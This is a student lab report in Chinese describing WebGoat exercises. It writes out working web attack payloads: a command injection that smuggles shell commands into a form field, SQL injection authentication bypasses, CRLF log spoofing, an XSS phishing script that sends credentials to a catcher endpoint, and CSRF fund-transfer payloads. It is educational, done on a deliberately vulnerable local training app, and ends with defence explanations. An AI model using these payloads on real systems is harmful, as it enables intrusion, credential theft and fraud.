2019-2020-2 20174313张博《网络对抗技术》Exp9 Web安全基础

一、实验概述

    (一)实验名称

    Web安全基础。

    (二)实验目的与要求

    ·下载安装WebGoat,调试至可以正常使用;

    ·在WebGoat平台上完成不少于7个题目,要求涵盖SQL,XSS,CSRF等攻击类型;

    ·掌握常见的Web攻击手段的原理以及防御策略。

    (三)实验原理

    WebGoatOWASP组织研制出的用于进行web漏洞实验的Java靶场程序,用来说明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,当前提供的训练课程有30多个,其中包括:跨站点脚本攻击(XSS)、访问控制、线程安全、操作隐藏字段、操纵参数、弱会话cookieSQL盲注、数字型SQL注入、字符串型SQL注入、web服务、Open Authentication失效、危险的HTML注释等等。WebGoat提供了一系列web安全学习的教程,某些课程也给出了视频演示,指导用户利用这些漏洞进行攻击。

    WebGoat默认会运行在Apache Tomcat服务器上,也可以运行在其他应用服务器上,所幸kali默认安装了Apache Tomcat,无需手动安装配置。正常情况下,要能正确安装好WebGoat平台,首先需要通过https://pan.baidu.com/s/1I0lAC8LA79kV_8biQKIRzA(提取码1n9v)下载jdk-8u161-linux-x64.tar,将其解压至kali中并通过https://www.jianshu.com/p/9ec7838411c8进行配置。然后通过https://github.com/WebGoat/WebGoat/releases/tag/7.0.1下载一个名为webgoat-container-7.0.1-war-exec.jarjar包,在jar包所在的目录下打开终端,输入命令java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar开启WebGoat。jar包下载链接有时能打开有时又不能打开,可能是分时间段限流吧。还有一个是百度网盘链接:https://pan.baidu.com/s/1mouhcyJ2CKjUd608k6GGlg。提取码是zglr

    因为WebGoat的运行需要有合适的Java环境,下载前文所说的那个jdk版本并进行正确配置就可以确保能完成此次实验,否则可能会遇到无法选择实验任务的问题。

二、实验内容

    浏览器中输入http://localhost:8080/WebGoat进入WebGoat登录界面,类似地,把localhost改成kaliIP后,这个网络地址可以在与kali同一局域网中的任何一台主机上使用,都能访问到WebGoat登录界面。登陆所需的用户名和密码,这个界面下方有显示,其中还有管理员的登录信息,我们以管理员身份登录,用户名和密码都输入webgoat完成登录。登录成功以后,在左侧导航栏可以看到课程列表,我们所要完成的不少于七个的攻击实践就从这里面选。

  (一)SQL注入攻击(Injection Flaws

  在左侧导航栏找到一级标题“Injection Flaws”,第(一)部分的所有任务都在这里面完成。

   ·Command Injection

  在左侧导航栏中依次选中“Injection Flaws”“Command Injection”,进入到指定的课程中。

    在页面中间任意地方单击鼠标右键,在弹出结果中选中“Inspect Element”,调出网页源代码,也可以直接按快捷键F12,一般情况下浏览器都支持F12呼出网页源代码。然后按ctrl+shift+c,鼠标光标定位到页面中间的复选框( 其默认选中的选项是AccessControlMatrix.help,比较容易辨认) ,这时在源代码界面就可以看到这个复选框在源码中的位置,即<select name=“HelpFile”>...</select> == $0标签内,将该标签展开,其下第一行就是<option>AccessControlMatrix.help</option>,双击该部分内容进入编辑模式,在AccessControlMatrix.help末尾添加 "& netstat -an & ipconfig\这样的内容,不能少了前面的引号,也不能没有后面的右划线,忽略了小细节就会失败。然后点击下面的按钮View,就可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!

2019-2020-2 20174313张博《网络对抗技术》Exp9 Web安全基础

图1

  ·Numeric SQL Injection

    在左侧导航栏中,将刚才选中的“Command Injection”换成它下面紧挨着的“Numeric SQL Injection”,然后在新进入的页面中,用和上一步相同的方法呼出网页源码页面,快捷键ctrl+shift+c定位到Select your local weather station后面的复选框,在源代码value="101"处进行修改,在101后添加or 1=1,保存后点击复选框下面的按钮Go!,然后数据库就会执行SQL语句:SELECT * FROM weather_data WHERE station = 101 or 1=1,后面的条件“1=1”是永真的,所以or语句也是永真的,那么SQL语句执行不需要条件,执行后可以无条件查看到数据库中所有城市的天气数据。

2019-2020-2 20174313张博《网络对抗技术》Exp9 Web安全基础

图2

  ·Log Spoofing

  在Numeric SQL Injection的下面找到Log Spoofing。它可以伪造出登录成功和失败的假象。在User Name中填入WebGoat%0d%0aLogin Succeeded for username: zb20174313。点击Login按钮,观察到以下结果。

2019-2020-2 20174313张博《网络对抗技术》Exp9 Web安全基础

图3

  利用回车0D%和换行符%0A让其在日志中两行显示,对于密码任意输入即可,输入这样的登录表单信息的结果就是肯定会登录失败,在日志里面失败提示的开头语是:Login failed for usernme:,开头语后面的内容是用户输入的用户名,也就是我们在User Name中输入的内容,其中%0d%0a会被解析成回车符和换行符,从而实现换行效果,在它们的作用下这一长串用户名信息被分成了两行显示,在第二行的信息就是伪造的登录成功信息,这是我们在输入用户名的时候就计划好的。循着这个思路,就可以伪造出任意一个用户登录成功的日志记录。

    从图3的结果可以看出,WebGoat登录成功了而zb20174313登录失败了,而实际上只有一个用户的登录信息,用户名就是我们在用户名表单中输入的那一长串字符串,从图3中的WebGoat开始就是我们输入的用户名了,只不过有了换行效果,看起来更有迷惑性而已。

  ·String SQL Injection

    在左侧导航栏顺序往下找到String SQL Injection课程。

  目标是使用字符串SQL注入绕过身份验证,以boss(“Neville”)身份登录,而不使用正确的密码。确认可以查看Neville的个人资料,并且所有功能都可用(包括搜索、创建和删除)。方法是使用提前闭合" ",插入永真式1=1,用--注释掉它后面的内容。

  用前文提到的方法呼出网页源码,增大密码框最大长度。在哪里修改呢?用前面提到的方法定位到网页中密码输入框在F12中的源码位置,将其maxlength值由8改为18,给SQL注入提供输入足够长的内容的条件。将复选框由默认的“Larry Stooge(empLoyee)”改为题目要求的“boss(‘Neville’)身份登录”,也就是下拉框的最后一个选项。输入密码mark‘ or 1=1--。成功结果如图4所示,以老板Neville的身份登录,可以查看手下人手的名单列表。

2019-2020-2 20174313张博《网络对抗技术》Exp9 Web安全基础

图4

·Numeric SQL Injection

  在左侧导航栏找到与字符串注入紧挨着的下面的Numeric SQL Injection,进入课程页面后,使用用户名 Larry,密码larry登录,点击ViewProfile查看用户信息,见图6左半部分。

  我们要做的是,执行SQL注入以绕过授权。作为普通员工“Larry”,使用SQL注入查看老板(“Neville”)的个人资料。按F12呼出网页源代码,将员工IDvalue改成101 or 1=1 order by salary desc,使得Boss的信息作为查询到的第一条数据(始终是最高的),见图6右半部分。

2019-2020-2 20174313张博《网络对抗技术》Exp9 Web安全基础

图5 修改员工ID的方法

2019-2020-2 20174313张博《网络对抗技术》Exp9 Web安全基础

图6 图5执行过后再点击ViewProfile查看用户信息,结果已经由员工Larry变成了老板Neville

    (二)XSS攻击(Cross‐Site Scripting)

  在左侧导航栏找到一级标题Cross‐Site Scripting(XSS)。第(二)部分的所有任务都在这里面完成。

  ·PhishingTitle

  本步骤是一个钓鱼实例,使用XSSHTML注入,在请求凭据的位置插入HTML,添加JS以实际收集凭据,并将凭据发送到catcher servletSearch后面的输入框中输入以下内容:

</form> 
<script> 
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; 
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); 
    } 
</script> 
<form name="phish"> 
<br> 
<br> 
<HR> 
    <H2>This feature requires account login:</H2> 
<br> 
    <br>Enter Username:<br> 
    <input type="text" name="user"> 
    <br>Enter Password:<br> 
    <input type="password" name = "pass"> 
<br> 
    <input type="submit" name="login" value="login" onclick="hack()"> 
</form> 
<br> 
<br> 
<HR>

  然后点击Search按钮,执行结果会出现两个输入框,分别名为Enter UsernameEnter Password。它们就是钓鱼表单,在这里填的东西都会被后台截获。钓鱼成功的信息入图7所示。

2019-2020-2 20174313张博《网络对抗技术》Exp9 Web安全基础

图7

  ·Stored XSS Attacks

在左侧导航栏中切换到Stored XSS Attacks,也就是紧挨着PhishingTitle的下一个。在title表单中输入任意输入字符,在Message表单中输入<script>alert("You‘ve been attacked by 4313, please......");</script>。然后点击提交按钮。在下面的Message List中可以看到输入过的title列表,每一个都是超链接,点击之后就可以看到下面图8的提示,适当运用这个手段,可以做成一种社会工程学攻击,比如在提示信息中说你已经如何如何了,必须要怎么怎么样才会怎么样,就是类似于一种欺骗、恐吓的手段。

2019-2020-2 20174313张博《网络对抗技术》Exp9 Web安全基础

图8

  ·Reflected XSS Attacks

  选择Cross-Site Scripting (XSS)里面的第三个任务Reflected XSS Attacks任务目标通过使用攻击脚本创建一个URL,并将其发布到另一个网站,通过电子邮件引诱用户点击实现攻击。

  进入课程页面,这里模拟了一个购物付款场景,页面下方有两个输入框,分别是信用卡号码和三位数的存取码。信用卡号码是默认存在的,我们只需要在存取码那里输入以下内容:<script>alert("You‘ve been attacked by zb20174313");</script>。然后点击Purchase按钮,可以看到图9所示的提示信息。

2019-2020-2 20174313张博《网络对抗技术》Exp9 Web安全基础

图9

  (三)CSRF攻击(Cross‐Site Scripting)

  ·Cross Site Request Forgery (CSRF)

  还是在Cross-Site Scripting (XSS)目录下,选择正数第四个任务:跨站请求伪造(Cross Site Request Forgery (CSRF))本次任务是向新闻组发送一个包含指向恶意请求的URL的电子邮件,我们称之为CSRF电子邮件,此处的URL指向的是一个攻击servlet,其中包含本课的“Screen”和“menu”参数以及具有任意数值(如5000)的额外参数“transferFunds”,顾名思义这是转走的资金。可以通过在右侧插入的参数中找到“Screen”(缩写scr)和“menu”值来构造链接,它们都在页面右侧可以查看到,分别是280900CSRF电子邮件的接收者在那个时候碰巧经过身份验证,他们的资金将被转移。

  按照这个思路,在Title中输入任意字符,比如学号。Message中输入一个img标签,按照上述思路、结合scr、menu、transferFunds三个参数构造出一个恶意的URL。<img src="http://192.168.1.109:8080/WebGoat/attack?Screen=280&menu=900&transferFunds=20174313"/>点击提交按钮,然后成功实现攻击。页面下方有message列表,记录了每一次的CSRF欺骗。

2019-2020-2 20174313张博《网络对抗技术》Exp9 Web安全基础

图10

  ·CSRF Prompt By‐Pass

  这个任务的目标是向包含多个恶意请求的新闻组发送电子邮件:第一个请求转移资金,第二个请求确认第一个请求触发的提示。和上一步很类似,url应该指向带有本课程中的screen、menu和额外参数“transferFunds”的攻击servlet,在页面右边查询可知前两个参数分别是330900,第三个参数可以是5000。“攻击”格式的URL是?Screen=XXX&menu=YYY&transferFunds=ZZZ”,前面提到的三个参数分别带入到URLX、YZ中。无论是谁收到这封邮件,碰巧在那个时候被认证,他的资金都会被转移。Title可以任意输入,对于Message则输入下面的内容:

<iframe src="attack?Screen=330&menu=900&transferFunds=5000"> </iframe> 
<iframe src="attack?Screen=330&menu=900&transferFunds=CONFIRM"> </iframe>

  然后提交,如图11所示攻击成功。

2019-2020-2 20174313张博《网络对抗技术》Exp9 Web安全基础

图11 

三、实验总结

  (一)问题回答

  (1)SQL注入攻击原理,如何防御

  Web程序经常允许在运行过程中动态构造SQL语句,根据不同条件生成不同的SQL语句,但是程序员在构造SQL语句时往往没有意识到代码中存在的潜在问题,容易导致SQL注入漏洞。这些疏忽往往有这些情况:

  ·转义字符处理不当。MySQL将单引号解析成代码和数据的分界线,引号外面的内容为SQL执行代码,而单引号括起来的都是数据。有时候可能会通过单引号提前闭合实现意想不到的攻击效果;

  ·类型处理不当。单引号括起来的都是数据,但是如果输入数据在SQL语句中被作为数字类型处理,那么及时输入在SQL语句中没有被单引号括起来,那么攻击者不输入单引号也可以成功实施SQL注入攻击;

  ·语句组装错误;

  ·不安全的数据库配置等。

  虽然SQL注入漏洞危害很大,但是在全部Web漏洞中它相对来说较为容易防御。只要在编码时采取恰当的防御机制,基本就可以杜绝此类漏洞。比如,确定对输入的变量进行确认和验证,检查它的值是否和相应列的类型匹配;还可以使用参数化查询方式分两个步骤建立包含输入变量的SQL语句,首先是指定SQL查询结构,为每个输入变量预留占位符,然后指定每个占位符的内容,使得恶意输入无法破坏既定的查询结构。

  (2)XSS攻击的原理,如何防御

  XSS是在Web程序中发现的最为普遍的一种漏洞,它常常与其他漏洞一起造成灾难性的后果,有时还可以演变成为某种自我繁殖的蠕虫。XSS漏洞可以分为三种类型,分别是反射型、持久型和基于DOMXSS漏洞。这里主要说一下反射型的,如果Web程序用动态页面向用户显示错误消息,就容易造成反射型XSS漏洞。大概四分之三的XSS漏洞都属于反射型,之所以是反射型,是因为攻击者必须设计一个包含嵌入式JS代码的请求,然后这些代码又被反射回提出该请求的用户。反射型漏洞的攻击代码分别通过一个单独的请求和响应进行传送,有时称为一阶XSS

  防御XSS攻击从概念上讲较为困难,因为任何页面都会处理并显示用户数据,所以很难确定Web程序使用危险方式处理用户输入的所有情况。用户输入未经适当确认与净化就被复制到相应页面中,这是反射型XSS漏洞的根本原因。因此,必须首先确定Web程序中用户输入被复制到相应页面的每种情况,包括请求中提交的数据、之前输入保存在服务器端的数据和外带通道输入的数据,只有通过仔细审查程序代码才能确保每种情况都检查到。然后,需要采取一种三重防御方法:确认输入、确认输出和清除危险的插入点。

  (3)CSRF攻击原理,如何防御

2019-2020-2 20174313张博《网络对抗技术》Exp9 Web安全基础

图12 来自网络的一个原理图

  CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF要完成一次CSRF攻击,受害者必须满足两个必要的条件:

  一是登录受信任网站A,并在本地生成Cookie。(如果用户没有登录网站A,那么网站B在诱导的时候,请求网站Aapi接口时,会提示你登录)

  然后在不登出A的情况下,访问危险网站B(其实是利用了网站A的漏洞)。

  攻击者可以通过这种攻击盗用你的身份,以你的名义发送恶意请求、发送邮件、发消息、盗取账号、甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。实验当中就是用CSRF去模拟了转账攻击。

  防御方法有:

  ·Token验证。这类用得最多,服务器发送给客户端一个令牌,客户端提交的表单中带着这个令牌,如果它不合法,那么服务器拒绝这个请求。从而避免绕过认证的情况。

  ·隐藏令牌。把令牌隐藏在httphead头中。

  ·Referer验证。这是指的是页面请求来源。意思是,只接受本站的请求,服务器才做响应;如果不是,就拦截。

  (二)实验体会

    每个课程都有提示,当然更有前面同学做过后写的博客,遇到不会的地方有充足的资料来源可以参考,故而在操作上难度不算大,主要是理解各种攻击背后的原理以及相应的防御手段需要下足够的功夫。通过实际操作我们也感受得出,本实验做到的这三大类的攻击手段,每一种都不是善茬,被攻击方得逞了自己会很难受的,特别是假借自己的名义去做一些事情,更是谁都不想发生的事情。总之,我们学习这些知识不是为了做坏事,而是为了提高防范意识、主动规避和化解风险,使自己乃至于自己影响力范围内的终端免受这些常见攻击的侵害。